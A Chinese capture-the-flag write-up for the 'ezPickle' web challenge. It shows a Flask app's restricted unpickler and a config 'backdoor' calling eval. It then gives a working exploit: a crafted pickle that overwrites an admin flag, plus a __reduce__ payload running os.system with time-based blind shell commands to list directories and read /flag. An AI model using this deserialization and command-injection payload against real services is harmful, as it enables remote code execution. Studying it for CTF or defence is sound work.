“強網”擬態防禦國際精英挑戰賽-預選賽-web-ezPickle
ezPickle
貌似拿到了非預期解
首先下載原始碼
app.py
from flask import Flask, request, session, render_template_string, url_for,redirect import pickle import io import sys import base64 import random import subprocess from config import notadmin app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name):if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def index(): info = request.args.get('name', '') if info is not '': x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello') if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000)
這裡存在pickle反序列化
config.py
notadmin={"admin":"no"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s)
存在一個可以執行eval的後門
簡單分析程式碼,就是傳入name引數,對他進行反序列化,這裡注意他重寫了find_class方法,當反序列化的時候會對模組就行檢測,只允許config模組,同時序列化物件名字不含有 _
我們的目的很顯然是執行config.py裡的backdoor函式,但是反序列怎麼執行到這個函式?這裡利用__reduce__
__reduce__,指令碼為R
取當前棧的棧頂記為args,然後把它彈掉。
取當前棧的棧頂記為f,然後把它彈掉。
以args為引數,執行函式f,把結果壓進當前棧。
我們可以自己構件一個類,寫它的__reduce__方法,利用__reduce__來呼叫backdoor函式
但是還有一個問題沒解決,就是backdoor函式有一句話:if notadmin["admin"]=="yes"
我們要想辦法讓admin等於yes,這裡用到ezPickle的變數覆蓋,
嘗試構造
\x80\x03cconfig\nnotadmin\n(Vadmin\nVyes\nu0
用pickletools分析:
就是取config裡的notadmin,同時將admin和yes壓入棧,在組合,輸出。這樣就完成對變數的覆蓋。
同時再把前面反序列化的結果加到構造語句後面(注意開頭重複去掉),即可實現執行eval函式(沒回顯不好測試)
但是如何利用eval呢?經過測試發現環境不能連外網,同時沒回顯,也不好讀檔案(寫檔案不知道可不可以,寫了也不好讀,但是估計不行,畢竟是靜態靶機)。
通過後臺掃描可以發現後臺,但是要輸入正確的pin碼。
這裡我估計我非預期了(畢竟沒求出pin碼,進入後臺)
這裡我採用盲注來嘗試讀取檔案目錄:
if [ `ls /|awk "NR=={0}"|cut -c {1} ` == {2} ];then sleep 3 ;fi
這串命令是列印根目錄,awk "NR=={0}"是取第幾行,cut -c是取第幾個字元,在和每一個字元比較,如果成功就停止3秒
但是經過測試可以發現基本不存在停止,後來經過大量測試發現,它可能過濾==
因為 `ls /|awk "NR=={0}"|cut -c {1} ` != {2} 會發現有明顯的停頓,那就反向來做,利用不等於,停止的是錯誤的,反之立刻有回覆的是正確的
構造指令碼:
config.py
notadmin={"admin":"yes"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) print(s) eval(s)
main.py
import pickle import pickletools import io import sys import base64 import random import urllib import os import subprocess import requests import time import string import __main__ from urllib import parse from config import backdoor str='-'+'+'+'_'+'{'+'}'+string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,50): if key==1: break for n in str: payload='if [ `ls /|awk "NR==1"|cut -c {1} ` != {2} ];then sleep 0.15 ;fi'.format(i,j,n) #payload='if [ `cat /flag|cut -c {1} ` != {2} ];then sleep 0.15 ; fi'.format(i,j,n) class aaa(object): def __reduce__(self): return (backdoor,("__import__('os').system('"+payload+"')",)) print(payload) k="gANjY29uZmlnCm5vdGFkbWluCihWYWRtaW4KVnllcwp1MA==" t=(base64.b64decode(k)) a = aaa() a=(pickle.dumps(a,protocol=3)) a=a[2:] a=t+a #print(a) b=base64.b64encode(a) c= bytes.decode(b) #print(c) url="http://124.71.183.254:32769/?name="+c try: requests.get(url,timeout=(0.15 ,0.15 )) result=result+n print(result) break except: continue if n=='9': key=1 result+=" "
列印目錄:
查詢flag:
hint:比賽當天環境很惡劣(因此又加了3個靶機),因此sleep時間可以修改